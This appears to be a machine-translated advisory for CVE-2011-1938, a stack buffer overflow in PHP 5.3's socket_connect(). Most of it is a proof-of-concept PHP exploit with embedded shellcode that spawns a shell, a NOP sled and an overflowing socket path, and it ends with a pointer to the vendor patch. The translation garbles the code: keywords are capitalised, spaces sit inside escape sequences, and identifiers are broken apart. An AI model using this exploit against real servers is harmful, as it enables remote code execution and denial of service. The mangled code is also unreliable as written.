Release date:
Updated on:
Affected Systems:
PHP 5.3.x
Description:
--------------------------------------------------------------------------------
Bugtraq id: 47950
Cve id: CVE-2011-1938
PHP is short for the English Super Text preprocessing language (PHP: Hypertext Preprocessor.
The PHP "socket_connect ()" function has the stack buffer overflow vulnerability. Remote attackers can exploit this vulnerability to execute arbitrary machine code in the PHP Execution Process, which may cause the Web server to crash, A valid user is denied.
<* Source: Mateusz Kocielski
*>
Test method:
--------------------------------------------------------------------------------
Alert
The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
<? Php
Echo "[+] CVE-2011-1938 ";
Echo "[+] there we go... \ n ";
Define ('evil _ SPACE_ADDR ', "\ xff \ xee \ xb3 ");
Define ('evil _ SPACE_SIZE ', 1024*1024*8 );
$ SHELLCODE =
"\ X6a \ x31 \ x58 \ x99 \ xcd \ x80 \ x89 \ xc3 \ x89 \ xc1 \ x6a \ x46 \ x58 \ xcd \ x80 \ xb0 ".
"\ X0b \ x52 \ x68 \ x6e \ x2f \ x73 \ x68 \ x68 \ x2f \ x2f \ x62 \ x69 \ x89 \ xe3 \ x89 \ xd1 ".
"\ Xcd \ x80 ";
Echo "[+] creating the sled. \ n ";
$ CODE = str_repeat ("\ x90", EVIL_SPACE_SIZE );
For ($ I = 0, $ j = EVIL_SPACE_SIZE-strlen ($ SHELLCODE)-1;
$ I <strlen ($ SHELLCODE); $ I ++, $ j ++ ){
$ CODE [$ j] = $ SHELLCODE [$ I];
}
$ B = str_repeat ("A", 196). EVIL_SPACE_ADDR;
$ Var79 = socket_create (AF_UNIX, SOCK_STREAM, 1 );
Echo "[+] popping shell, have fun (if you picked the right address...) \ n ";
$ Var85 = socket_connect ($ var79, $ B );
?>
Suggestion:
--------------------------------------------------------------------------------
Vendor patch:
PHP
---
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:
Http://www.php.net